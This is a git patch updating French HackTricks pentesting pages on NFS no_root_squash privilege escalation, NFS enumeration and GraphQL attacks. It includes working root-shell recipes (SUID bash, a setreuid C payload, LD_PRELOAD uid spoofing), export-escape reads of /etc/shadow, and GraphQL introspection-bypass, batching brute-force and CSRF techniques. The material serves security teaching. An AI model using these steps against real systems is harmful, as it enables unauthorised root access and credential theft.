From 1098e7730475dea4ed42704d56180dd7550b3828 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 5 Feb 2025 00:26:21 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash --- .../nfs-no_root_squash-misconfiguration-pe.md | 48 +++++---- .../nfs-service-pentesting.md | 102 ++++++++++++++---- .../pentesting-web/graphql.md | 38 +++---- .../pentesting-web/php-tricks-esp/README.md | 19 ++-- .../pentesting-web/special-http-headers.md | 29 ++--- src/pentesting-web/deserialization/README.md | 65 ++++++++--- src/pentesting-web/file-upload/README.md | 21 ++-- .../sql-injection/sqlmap/README.md | 56 +++++----- .../url-format-bypass.md | 3 +- .../xss-cross-site-scripting/README.md | 78 +++++++++----- 10 files changed, 304 insertions(+), 155 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index a8ac45cd4..8120d138c 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,18 +1,29 @@ {{#include ../../banners/hacktricks-training.md}} -Lisez le _ **/etc/exports** _ fichier, si vous trouvez un répertoire configuré comme **no_root_squash**, alors vous pouvez **y accéder** **en tant que client** et **écrire à l'intérieur** de ce répertoire **comme** si vous étiez le **root** local de la machine. +# Informations de base sur le Squashing -**no_root_squash** : Cette option donne essentiellement l'autorité à l'utilisateur root sur le client d'accéder aux fichiers sur le serveur NFS en tant que root. Et cela peut entraîner de graves implications en matière de sécurité. +NFS fera généralement (surtout sous Linux) confiance au `uid` et `gid` indiqués par le client se connectant pour accéder aux fichiers (si Kerberos n'est pas utilisé). Cependant, il existe certaines configurations qui peuvent être définies sur le serveur pour **changer ce comportement** : -**no_all_squash :** Cela est similaire à l'option **no_root_squash** mais s'applique aux **utilisateurs non-root**. Imaginez que vous avez un shell en tant qu'utilisateur nobody ; vérifiez le fichier /etc/exports ; l'option no_all_squash est présente ; vérifiez le fichier /etc/passwd ; émulez un utilisateur non-root ; créez un fichier suid en tant que cet utilisateur (en le montant via nfs). Exécutez le suid en tant qu'utilisateur nobody et devenez un utilisateur différent. +- **`all_squash`** : Cela écrase tous les accès en mappant chaque utilisateur et groupe à **`nobody`** (65534 non signé / -2 signé). Par conséquent, tout le monde est `nobody` et aucun utilisateur n'est utilisé. +- **`root_squash`/`no_all_squash`** : C'est la valeur par défaut sur Linux et **n'écrase que l'accès avec uid 0 (root)**. Par conséquent, tout `UID` et `GID` sont de confiance, mais `0` est écrasé à `nobody` (donc aucune usurpation de root n'est possible). +- **`no_root_squash`** : Cette configuration, si elle est activée, n'écrase même pas l'utilisateur root. Cela signifie que si vous montez un répertoire avec cette configuration, vous pouvez y accéder en tant que root. -# Élévation de privilèges +Dans le fichier **/etc/exports**, si vous trouvez un répertoire configuré comme **no_root_squash**, alors vous pouvez **y accéder** en tant que **client** et **écrire à l'intérieur** de ce répertoire **comme** si vous étiez le **root** local de la machine. + +Pour plus d'informations sur **NFS**, consultez : + +{{#ref}} +/network-services-pentesting/nfs-service-pentesting.md +{{#endref}} + +# Escalade de privilèges ## Exploit à distance -Si vous avez trouvé cette vulnérabilité, vous pouvez l'exploiter : - -- **Monter ce répertoire** sur une machine cliente, et **en tant que root copier** à l'intérieur du dossier monté le binaire **/bin/bash** et lui donner des droits **SUID**, et **exécuter depuis la machine victime** ce binaire bash. +Option 1 utilisant bash : +- **Monter ce répertoire** sur une machine cliente, et **en tant que root copier** à l'intérieur du dossier monté le binaire **/bin/bash** et lui donner des droits **SUID**, puis **exécuter depuis la machine victime** ce binaire bash. +- Notez que pour être root à l'intérieur du partage NFS, **`no_root_squash`** doit être configuré sur le serveur. +- Cependant, s'il n'est pas activé, vous pourriez escalader vers un autre utilisateur en copiant le binaire dans le partage NFS et en lui donnant la permission SUID en tant qu'utilisateur vers lequel vous souhaitez escalader. ```bash #Attacker, as root user mkdir /tmp/pe @@ -25,7 +36,9 @@ chmod +s bash cd ./bash -p #ROOT shell ``` -- **Monter ce répertoire** sur une machine cliente, et **en tant que root copier** à l'intérieur du dossier monté notre charge utile compilée qui abusent de la permission SUID, lui donner des droits **SUID**, et **exécuter depuis la machine victime** ce binaire (vous pouvez trouver ici quelques [charges utiles C SUID](payloads-to-execute.md#c)). +Option 2 utilisant du code compilé en C : +- **Monter ce répertoire** sur une machine cliente, et **en tant que root copier** à l'intérieur du dossier monté notre charge utile compilée qui abusent des permissions SUID, lui donner des droits **SUID**, et **exécuter depuis la machine victime** ce binaire (vous pouvez trouver ici quelques [C SUID payloads](payloads-to-execute.md#c)). +- Même restrictions qu'auparavant ```bash #Attacker, as root user gcc payload.c -o payload @@ -43,7 +56,7 @@ cd > [!NOTE] > Notez que si vous pouvez créer un **tunnel de votre machine à la machine victime, vous pouvez toujours utiliser la version distante pour exploiter cette élévation de privilèges en tunnelant les ports requis**.\ -> Le truc suivant est dans le cas où le fichier `/etc/exports` **indique une IP**. Dans ce cas, vous **ne pourrez pas utiliser** en aucun cas l'**exploit distant** et vous devrez **abuser de ce truc**.\ +> Le truc suivant est au cas où le fichier `/etc/exports` **indique une IP**. Dans ce cas, vous **ne pourrez pas utiliser** en aucun cas l'**exploit distant** et vous devrez **abuser de ce truc**.\ > Une autre exigence requise pour que l'exploit fonctionne est que **l'exportation à l'intérieur de `/etc/export`** **doit utiliser le drapeau `insecure`**.\ > --_Je ne suis pas sûr que si `/etc/export` indique une adresse IP, ce truc fonctionnera_-- @@ -60,34 +73,29 @@ Les étapes de compilation de la bibliothèque peuvent nécessiter des ajustemen make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` -### Réalisation de l'Exploit +### Réalisation de l'Exploitation -L'exploit consiste à créer un simple programme C (`pwn.c`) qui élève les privilèges à root et exécute ensuite un shell. Le programme est compilé, et le binaire résultant (`a.out`) est placé sur le partage avec suid root, en utilisant `ld_nfs.so` pour falsifier l'uid dans les appels RPC : - -1. **Compiler le code de l'exploit :** +L'exploitation consiste à créer un simple programme C (`pwn.c`) qui élève les privilèges à root et exécute ensuite un shell. Le programme est compilé, et le binaire résultant (`a.out`) est placé sur le partage avec suid root, en utilisant `ld_nfs.so` pour falsifier l'uid dans les appels RPC : +1. **Compiler le code d'exploitation :** ```bash cat pwn.c int main(void){setreuid(0,0); system("/bin/bash"); return 0;} gcc pwn.c -o a.out ``` - -2. **Placer l'exploit sur le partage et modifier ses permissions en falsifiant l'uid :** - +2. **Placez l'exploit sur le partage et modifiez ses permissions en falsifiant l'uid :** ```bash LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out ``` - -3. **Exécuter l'exploit pour obtenir des privilèges root :** +3. **Exécutez l'exploit pour obtenir des privilèges root :** ```bash /mnt/share/a.out #root ``` - -## Bonus : NFShell pour un Accès Furtif aux Fichiers +## Bonus : NFShell pour un accès furtif aux fichiers Une fois l'accès root obtenu, pour interagir avec le partage NFS sans changer de propriétaire (pour éviter de laisser des traces), un script Python (nfsh.py) est utilisé. Ce script ajuste l'uid pour correspondre à celui du fichier accédé, permettant d'interagir avec les fichiers sur le partage sans problèmes de permission : ```python diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index b1fc8eb72..f3e0dfc48 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -6,27 +6,64 @@ **NFS** est un système conçu pour **client/serveur** qui permet aux utilisateurs d'accéder facilement à des fichiers sur un réseau comme si ces fichiers étaient situés dans un répertoire local. -Un aspect notable de ce protocole est son absence de **mécanismes d'authentification** ou **d'autorisation** intégrés. Au lieu de cela, l'autorisation repose sur les **informations du système de fichiers**, le serveur étant chargé de traduire avec précision les **informations utilisateur fournies par le client** dans le format **d'autorisation** requis par le système de fichiers, suivant principalement la **syntaxe UNIX**. - -L'authentification repose généralement sur les **identifiants `UID`/`GID` UNIX et les appartenances à des groupes**. Cependant, un défi se pose en raison du potentiel décalage dans les **mappings `UID`/`GID`** entre les clients et les serveurs, ne laissant aucune place à une vérification supplémentaire par le serveur. Par conséquent, le protocole est mieux adapté à une utilisation au sein de **réseaux de confiance**, étant donné sa dépendance à cette méthode d'authentification. - -**Port par défaut** : 2049/TCP/UDP (sauf la version 4, il nécessite juste TCP ou UDP). +**Port par défaut** : 2049/TCP/UDP (sauf la version 4, elle nécessite juste TCP ou UDP). ``` 2049/tcp open nfs 2-3 (RPC #100003 ``` +### Authentification + +Un aspect notable de ce protocole est son absence habituelle de mécanismes d'**authentification** ou d'**autorisation** intégrés. Au lieu de cela, l'autorisation repose sur les **informations du système de fichiers**, le serveur étant chargé de traduire avec précision les **informations utilisateur fournies par le client** dans le format **d'autorisation** requis par le système de fichiers, suivant principalement la **syntaxe UNIX**. + +L'authentification repose généralement sur les **identifiants `UID`/`GID` UNIX et les appartenances à des groupes**. Cependant, un défi se pose en raison du potentiel décalage dans les **mappings `UID`/`GID`** entre les clients et les serveurs, ne laissant aucune place à une vérification supplémentaire par le serveur. De plus, ces détails sont envoyés par le client et sont de confiance pour le serveur, donc un client malveillant pourrait potentiellement **usurper un autre utilisateur en envoyant des `uid` et `gid` plus privilégiés**. + +**Cependant, notez qu'il n'est pas possible par défaut d'usurper le `UID` 0 (root) en utilisant NFS. Plus d'informations à ce sujet dans la section de squashing.** + +#### Hôtes + +Pour une meilleure (ou certaine) autorisation, vous pouvez spécifier les **hôtes** qui peuvent accéder au partage NFS. Cela peut être fait dans le fichier Linux `/etc/exports`. Par exemple : +``` +/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ... +/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i) +``` +As you can see, cela permet de configurer une **IP** ou un **nom d'hôte** spécifique pour accéder au partage. Seule cette adresse pourra accéder au partage. + ### Versions -- **NFSv2** : Cette version est reconnue pour sa large compatibilité avec divers systèmes, marquant son importance avec des opérations initiales principalement sur UDP. Étant le **plus ancien** de la série, il a jeté les bases pour les développements futurs. +- **NFSv2** : Cette version est reconnue pour sa large compatibilité avec divers systèmes, marquant son importance avec des opérations initiales principalement sur UDP. Étant la **plus ancienne** de la série, elle a jeté les bases des développements futurs. - **NFSv3** : Introduit avec une série d'améliorations, NFSv3 a élargi son prédécesseur en prenant en charge des tailles de fichiers variables et en offrant de meilleurs mécanismes de rapport d'erreurs. Malgré ses avancées, il a rencontré des limitations en matière de compatibilité totale avec les clients NFSv2. -- **NFSv4** : Une version marquante de la série NFS, NFSv4 a apporté un ensemble de fonctionnalités conçues pour moderniser le partage de fichiers à travers les réseaux. Les améliorations notables incluent l'intégration de Kerberos pour une **sécurité élevée**, la capacité de traverser les pare-feu et de fonctionner sur Internet sans avoir besoin de portmappers, le support des listes de contrôle d'accès (ACL), et l'introduction d'opérations basées sur l'état. Ses améliorations de performance et l'adoption d'un protocole orienté état distinguent NFSv4 comme une avancée majeure dans les technologies de partage de fichiers en réseau. +- **NFSv4** : Une version marquante de la série NFS, NFSv4 a apporté un ensemble de fonctionnalités conçues pour moderniser le partage de fichiers à travers les réseaux. Les améliorations notables incluent l'intégration de Kerberos pour une **haute sécurité**, la capacité de traverser les pare-feu et de fonctionner sur Internet sans avoir besoin de portmappers, le support des listes de contrôle d'accès (ACL), et l'introduction d'opérations basées sur l'état. Ses améliorations de performance et l'adoption d'un protocole orienté état distinguent NFSv4 comme une avancée majeure dans les technologies de partage de fichiers en réseau. +- Notez qu'il est très étrange de trouver un hôte Linux NFS prenant en charge l'authentification kerberos. Chaque version de NFS a été développée dans le but de répondre aux besoins évolutifs des environnements réseau, améliorant progressivement la sécurité, la compatibilité et la performance. +### Squashing + +Comme mentionné précédemment, NFS fera généralement confiance au `uid` et au `gid` du client pour accéder aux fichiers (si kerberos n'est pas utilisé). Cependant, il existe certaines configurations qui peuvent être définies sur le serveur pour **changer ce comportement** : + +- **all_squash** : Cela écrase tous les accès en mappant chaque utilisateur et groupe à **`nobody`** (65534 non signé / -2 signé). Par conséquent, tout le monde est `nobody` et aucun utilisateur n'est utilisé. +- **root_squash/no_all_squash** : C'est par défaut sur Linux et **n'écrase que l'accès avec uid 0 (root)**. Par conséquent, tout `UID` et `GID` sont de confiance mais `0` est écrasé à `nobody` (donc aucune usurpation de root n'est possible). +- **no_root_squash** : Cette configuration, si activée, n'écrase même pas l'utilisateur root. Cela signifie que si vous montez un répertoire avec cette configuration, vous pouvez y accéder en tant que root. + +### Subtree check + +Disponible uniquement sur Linux. man(5) exports dit : "Si un sous-répertoire d'un système de fichiers est exporté, mais que l'ensemble du système de fichiers ne l'est pas, alors chaque fois qu'une demande NFS arrive, le serveur doit vérifier non seulement que le fichier accédé se trouve dans le système de fichiers approprié (ce qui est facile) mais aussi qu'il se trouve dans l'arbre exporté (ce qui est plus difficile). Cette vérification est appelée la vérification de sous-arbre." + +Dans Linux, la **fonctionnalité `subtree_check` est désactivée** par défaut. + ## Enumeration -### Useful nmap scripts +### Showmount + +Cela peut être utilisé pour **obtenir des informations d'un serveur NFSv3**, comme la liste des **exports**, qui est **autorisé à accéder** à ces exports, et quels clients sont connectés (ce qui peut être inexact si un client se déconnecte sans informer le serveur). +Dans **NFSv4, les clients accèdent directement au / export** et essaient d'accéder aux exports à partir de là, échouant si c'est invalide ou non autorisé pour une raison quelconque. + +Si des outils comme `showmount` ou des modules Metasploit ne montrent pas d'informations d'un port NFS, c'est potentiellement un serveur NFSv4 qui ne prend pas en charge la version 3. +```bash +showmount -e +``` +### Scripts nmap utiles ```bash nfs-ls #List NFS exports and check permissions nfs-showmount #Like showmount -e @@ -36,9 +73,13 @@ nfs-statfs #Disk statistics and info from NFS share ```bash scanner/nfs/nfsmount #Scan NFS mounts and list permissions ``` -### Montage +### nfs_analyze -Pour savoir **quel dossier** le serveur a **disponible** à monter, vous pouvez lui demander en utilisant : +Cet outil de [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) peut être utilisé pour obtenir beaucoup de données d'un serveur NFS comme **les montages**, les versions NFS prises en charge, les IP connectées, et même s'il est possible de **s'échapper des exports** vers d'autres dossiers dans le FS ou **si `no_root_squash` est activé**. + +## Mounting + +Pour savoir **quel dossier** le serveur a **disponible** pour le monter, vous pouvez lui demander en utilisant : ```bash showmount -e ``` @@ -53,22 +94,47 @@ Vous devez spécifier d'**utiliser la version 2** car elle n'a **aucune** **auth mkdir /mnt/new_back mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock ``` -## Permissions +## Attaques -Si vous montez un dossier qui contient **des fichiers ou des dossiers uniquement accessibles par certains utilisateurs** (par **UID**). Vous pouvez **créer** **localement** un utilisateur avec cet **UID** et en utilisant cet **utilisateur**, vous pourrez **accéder** au fichier/dossier. +### Confiance en UID et GID -## NSFShell +Bien sûr, le seul problème ici est qu'il n'est pas possible par défaut d'usurper l'identité de root (`UID` 0). Cependant, il est possible d'usurper l'identité de tout autre utilisateur ou si `no_root_squash` est activé, vous pouvez également usurper l'identité de root. -Pour lister, monter et changer facilement l'UID et le GID afin d'accéder aux fichiers, vous pouvez utiliser [nfsshell](https://github.com/NetDirect/nfsshell). +- Si vous montez un dossier qui contient **des fichiers ou des dossiers uniquement accessibles par un certain utilisateur** (par **UID**). Vous pouvez **créer** **localement** un utilisateur avec cet **UID** et en utilisant cet **utilisateur**, vous pourrez **accéder** au fichier/dossier. +- L'outil **`fuse_nfs`** de [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) enverra toujours le UID et GID nécessaires pour accéder aux fichiers. -[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/) +### Escalade de privilèges SUID -## Config files +Consultez la page : + +{{#ref}} +/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +{{#endref}} + +### Évasion des exports + +Dans cet [excellent article](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/), il est possible de voir qu'il est possible de **s'échapper des exports pour accéder à d'autres dossiers dans le FS**. + +Par conséquent, si un export exporte un dossier qui est un **sous-dossier** du **système de fichiers entier**, il est possible d'accéder à des fichiers en dehors de l'export si **`subtree_check`** est désactivé. Et c'est **désactivé par défaut dans Linux**. + +Par exemple, si un serveur NFS exporte `/srv/` et que `/var/` est dans le même système de fichiers, il est possible de lire des journaux depuis `/var/log/` ou de stocker un webshell dans `/var/www/`. + +De plus, notez qu'en règle générale, seul l'utilisateur root (0) est protégé contre l'usurpation d'identité (voir la section Squash). Cependant, si un fichier est **possédé par root mais que le groupe n'est pas 0, il est possible d'y accéder**. Par exemple, le fichier `/etc/shadow` est possédé par root mais le groupe est `shadow` (gid 42 sur Debian). Par conséquent, il est possible de le lire par défaut ! + +L'outil **`nfs_analyze`** de [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) est conçu pour soutenir cette attaque contre les systèmes de fichiers ext4, xfs, btrfs dans la version 3 (il devrait également être possible dans v4). + +### NSFShell + +Pour lister, monter et changer facilement UID et GID afin d'accéder aux fichiers, vous pouvez utiliser [nfsshell](https://github.com/NetDirect/nfsshell). + +[Tutoriel NFSShell intéressant.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/) + +## Fichiers de configuration ``` /etc/exports /etc/lib/nfs/etab ``` -### Paramètres dangereux +## Paramètres dangereux - **Permissions de lecture et d'écriture (`rw`):** Ce paramètre permet à la fois la lecture et l'écriture dans le système de fichiers. Il est essentiel de considérer les implications de l'octroi d'un accès aussi large. @@ -80,7 +146,7 @@ Pour lister, monter et changer facilement l'UID et le GID afin d'accéder aux fi - **Non-squash de tous les utilisateurs (`no_all_squash`):** Cette option garantit que les identités des utilisateurs sont préservées à travers le système, ce qui pourrait entraîner des problèmes de permissions et de contrôle d'accès si ce n'est pas correctement géré. -## Escalade de privilèges utilisant des erreurs de configuration NFS +## Escalade de privilèges utilisant des mauvaises configurations NFS [NFS no_root_squash et no_all_squash escalade de privilèges](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md) diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index e32e1a068..64d34fb73 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -170,7 +170,7 @@ Si l'introspection est activée, vous pouvez utiliser [**GraphQL Voyager**](http ### Interrogation -Maintenant que nous savons quel type d'information est enregistré dans la base de données, essayons d'**extraire quelques valeurs**. +Maintenant que nous savons quel type d'information est enregistré dans la base de données, essayons d'**extraire certaines valeurs**. Dans l'introspection, vous pouvez trouver **quel objet vous pouvez interroger directement** (car vous ne pouvez pas interroger un objet juste parce qu'il existe). Dans l'image suivante, vous pouvez voir que le "_queryType_" s'appelle "_Query_" et qu'un des champs de l'objet "_Query_" est "_flags_", qui est également un type d'objet. Par conséquent, vous pouvez interroger l'objet flag. @@ -202,7 +202,7 @@ Cependant, dans cet exemple, si vous essayez de le faire, vous obtenez cette **e ![](<../../images/image (1042).png>) On dirait que d'une manière ou d'une autre, il va rechercher en utilisant l'argument "_**uid**_" de type _**Int**_.\ -Quoi qu'il en soit, nous savions déjà cela, dans la section [Basic Enumeration](graphql.md#basic-enumeration), une requête a été proposée qui nous montrait toutes les informations nécessaires : `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +Quoi qu'il en soit, nous le savions déjà, dans la section [Basic Enumeration](graphql.md#basic-enumeration), une requête a été proposée qui nous montrait toutes les informations nécessaires : `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` Si vous lisez l'image fournie lorsque j'exécute cette requête, vous verrez que "_**user**_" avait l'**arg** "_**uid**_" de type _Int_. @@ -219,7 +219,7 @@ Et pendant la **phase d'énumération**, j'ai découvert que l'objet "_**dbuser* **Truc de dump de chaîne de requête (merci à @BinaryShadow\_)** -Si vous pouvez rechercher par un type de chaîne, comme : `query={theusers(description: ""){username,password}}` et que vous **cherchez une chaîne vide**, cela va **dump toutes les données**. (_Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposez que vous pouvez rechercher en utilisant "**theusers**" par un champ de chaîne appelé "**description**"_). +Si vous pouvez rechercher par un type de chaîne, comme : `query={theusers(description: ""){username,password}}` et que vous **cherchez une chaîne vide**, cela va **dump toutes les données**. (_Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposons que vous pouvez rechercher en utilisant "**theusers**" par un champ de chaîne appelé "**description**"_). ### Recherche @@ -304,7 +304,7 @@ rating ``` **Notez comment à la fois les valeurs et le type de données sont indiqués dans la requête.** -De plus, la base de données prend en charge une opération de **mutation**, nommée `addPerson`, qui permet la création de **personnes** ainsi que leurs associations avec des **amis** et des **films** existants. Il est crucial de noter que les amis et les films doivent préexister dans la base de données avant de les lier à la personne nouvellement créée. +De plus, la base de données prend en charge une opération de **mutation**, nommée `addPerson`, qui permet la création de **personnes** ainsi que leurs associations à des **amis** et des **films** existants. Il est crucial de noter que les amis et les films doivent préexister dans la base de données avant de les lier à la personne nouvellement créée. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -339,7 +339,7 @@ Comme expliqué dans [**l'une des vulnérabilités décrites dans ce rapport**]( ### Batching brute-force dans 1 requête API Cette information a été tirée de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ -Authentification via l'API GraphQL avec **l'envoi simultané de nombreuses requêtes avec différentes identifiants** pour le vérifier. C'est une attaque par force brute classique, mais il est maintenant possible d'envoyer plus d'une paire login/mot de passe par requête HTTP grâce à la fonctionnalité de batching de GraphQL. Cette approche tromperait les applications externes de surveillance des taux en leur faisant croire que tout va bien et qu'il n'y a pas de bot de force brute essayant de deviner des mots de passe. +Authentification via l'API GraphQL avec **l'envoi simultané de nombreuses requêtes avec différentes identifiants** pour le vérifier. C'est une attaque par force brute classique, mais il est maintenant possible d'envoyer plus d'une paire login/mot de passe par requête HTTP grâce à la fonctionnalité de batching de GraphQL. Cette approche tromperait les applications externes de surveillance de taux en leur faisant croire que tout va bien et qu'il n'y a pas de bot de force brute essayant de deviner des mots de passe. Vous pouvez trouver ci-dessous la démonstration la plus simple d'une requête d'authentification d'application, avec **3 paires email/mot de passe différentes à la fois**. Évidemment, il est possible d'en envoyer des milliers dans une seule requête de la même manière : @@ -353,13 +353,13 @@ Comme nous pouvons le voir sur la capture d'écran de la réponse, les première De plus en plus de **points de terminaison graphql désactivent l'introspection**. Cependant, les erreurs que graphql renvoie lorsqu'une requête inattendue est reçue sont suffisantes pour que des outils comme [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) puissent recréer la plupart du schéma. -De plus, l'extension Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observe les requêtes API GraphQL passant par Burp** et **construit** un **schéma** GraphQL interne avec chaque nouvelle requête qu'il voit. Il peut également exposer le schéma pour GraphiQL et Voyager. L'extension renvoie une réponse factice lorsqu'elle reçoit une requête d'introspection. En conséquence, GraphQuail montre toutes les requêtes, arguments et champs disponibles pour une utilisation au sein de l'API. Pour plus d'infos [**vérifiez ceci**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +De plus, l'extension Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observe les requêtes API GraphQL passant par Burp** et **construit** un **schéma** GraphQL interne avec chaque nouvelle requête qu'il voit. Elle peut également exposer le schéma pour GraphiQL et Voyager. L'extension renvoie une réponse factice lorsqu'elle reçoit une requête d'introspection. En conséquence, GraphQuail montre toutes les requêtes, arguments et champs disponibles pour une utilisation au sein de l'API. Pour plus d'infos [**vérifiez ceci**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). Une belle **liste de mots** pour découvrir [**les entités GraphQL peut être trouvée ici**](https://github.com/Escape-Technologies/graphql-wordlist?). ### Contournement des défenses d'introspection GraphQL -Pour contourner les restrictions sur les requêtes d'introspection dans les API, l'insertion d'un **caractère spécial après le mot-clé `__schema`** s'avère efficace. Cette méthode exploite les erreurs courantes des développeurs dans les motifs regex qui visent à bloquer l'introspection en se concentrant sur le mot-clé `__schema`. En ajoutant des caractères comme **espaces, nouvelles lignes et virgules**, que GraphQL ignore mais qui pourraient ne pas être pris en compte dans le regex, les restrictions peuvent être contournées. Par exemple, une requête d'introspection avec une nouvelle ligne après `__schema` peut contourner de telles défenses : +Pour contourner les restrictions sur les requêtes d'introspection dans les API, l'insertion d'un **caractère spécial après le mot-clé `__schema`** s'avère efficace. Cette méthode exploite les erreurs courantes des développeurs dans les motifs regex qui visent à bloquer l'introspection en se concentrant sur le mot-clé `__schema`. En ajoutant des caractères comme **espaces, nouvelles lignes et virgules**, que GraphQL ignore mais qui pourraient ne pas être pris en compte dans les regex, les restrictions peuvent être contournées. Par exemple, une requête d'introspection avec une nouvelle ligne après `__schema` peut contourner de telles défenses : ```bash # Example with newline to bypass { @@ -369,7 +369,7 @@ Pour contourner les restrictions sur les requêtes d'introspection dans les API, ``` Si cela échoue, envisagez des méthodes de requête alternatives, telles que **GET requests** ou **POST avec `x-www-form-urlencoded`**, car des restrictions peuvent ne s'appliquer qu'aux requêtes POST. -### Essayez les WebSockets +### Essayez WebSockets Comme mentionné dans [**cette conférence**](https://www.youtube.com/watch?v=tIo_t5uUK50), vérifiez s'il est possible de se connecter à graphQL via WebSockets, car cela pourrait vous permettre de contourner un éventuel WAF et de faire en sorte que la communication WebSocket divulgue le schéma de graphQL : ```javascript @@ -411,17 +411,17 @@ Si vous ne savez pas ce qu'est le CSRF, lisez la page suivante : ../../pentesting-web/csrf-cross-site-request-forgery.md {{#endref}} -Là-bas, vous pourrez trouver plusieurs points de terminaison GraphQL **configurés sans jetons CSRF.** +Vous pourrez trouver plusieurs points de terminaison GraphQL **configurés sans tokens CSRF.** -Notez que les requêtes GraphQL sont généralement envoyées via des requêtes POST utilisant le type de contenu **`application/json`**. +Notez que les requêtes GraphQL sont généralement envoyées via des requêtes POST en utilisant le Content-Type **`application/json`**. ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` -Cependant, la plupart des points de terminaison GraphQL prennent également en charge les requêtes POST **`form-urlencoded` :** +Cependant, la plupart des points de terminaison GraphQL prennent également en charge les **`form-urlencoded` POST requests :** ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` -Par conséquent, comme les requêtes CSRF comme celles précédentes sont envoyées **sans requêtes préalables**, il est possible de **faire** **des changements** dans le GraphQL en abusant d'un CSRF. +Par conséquent, comme les requêtes CSRF comme celles précédentes sont envoyées **sans requêtes préalables**, il est possible de **faire** **des modifications** dans le GraphQL en abusant d'un CSRF. Cependant, notez que la nouvelle valeur par défaut du cookie du drapeau `samesite` de Chrome est `Lax`. Cela signifie que le cookie ne sera envoyé que depuis un site tiers dans les requêtes GET. @@ -445,7 +445,7 @@ Pour plus d'informations, consultez : De nombreuses fonctions GraphQL définies sur le point de terminaison pourraient uniquement vérifier l'authentification du demandeur mais pas l'autorisation. -Modifier les variables d'entrée de la requête pourrait conduire à des détails de compte sensibles [leakés](https://hackerone.com/reports/792927). +Modifier les variables d'entrée de la requête pourrait conduire à des détails de compte sensibles [fuités](https://hackerone.com/reports/792927). La mutation pourrait même conduire à une prise de contrôle de compte en essayant de modifier d'autres données de compte. ```javascript @@ -465,11 +465,11 @@ Dans l'exemple ci-dessous, vous pouvez voir que l'opération est "forgotPassword ## Contournement des limites de taux en utilisant des alias dans GraphQL -Dans GraphQL, les alias sont une fonctionnalité puissante qui permet de **nommer explicitement les propriétés** lors d'une requête API. Cette capacité est particulièrement utile pour récupérer **plusieurs instances du même type** d'objet dans une seule requête. Les alias peuvent être utilisés pour surmonter la limitation qui empêche les objets GraphQL d'avoir plusieurs propriétés avec le même nom. +Dans GraphQL, les alias sont une fonctionnalité puissante qui permet le **nommage explicite des propriétés** lors d'une requête API. Cette capacité est particulièrement utile pour récupérer **plusieurs instances du même type** d'objet dans une seule requête. Les alias peuvent être utilisés pour surmonter la limitation qui empêche les objets GraphQL d'avoir plusieurs propriétés avec le même nom. Pour une compréhension détaillée des alias GraphQL, la ressource suivante est recommandée : [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -Bien que le but principal des alias soit de réduire la nécessité de nombreux appels API, un cas d'utilisation non intentionnel a été identifié où les alias peuvent être exploités pour exécuter des attaques par force brute sur un point de terminaison GraphQL. Cela est possible car certains points de terminaison sont protégés par des limiteurs de taux conçus pour contrer les attaques par force brute en restreignant le **nombre de requêtes HTTP**. Cependant, ces 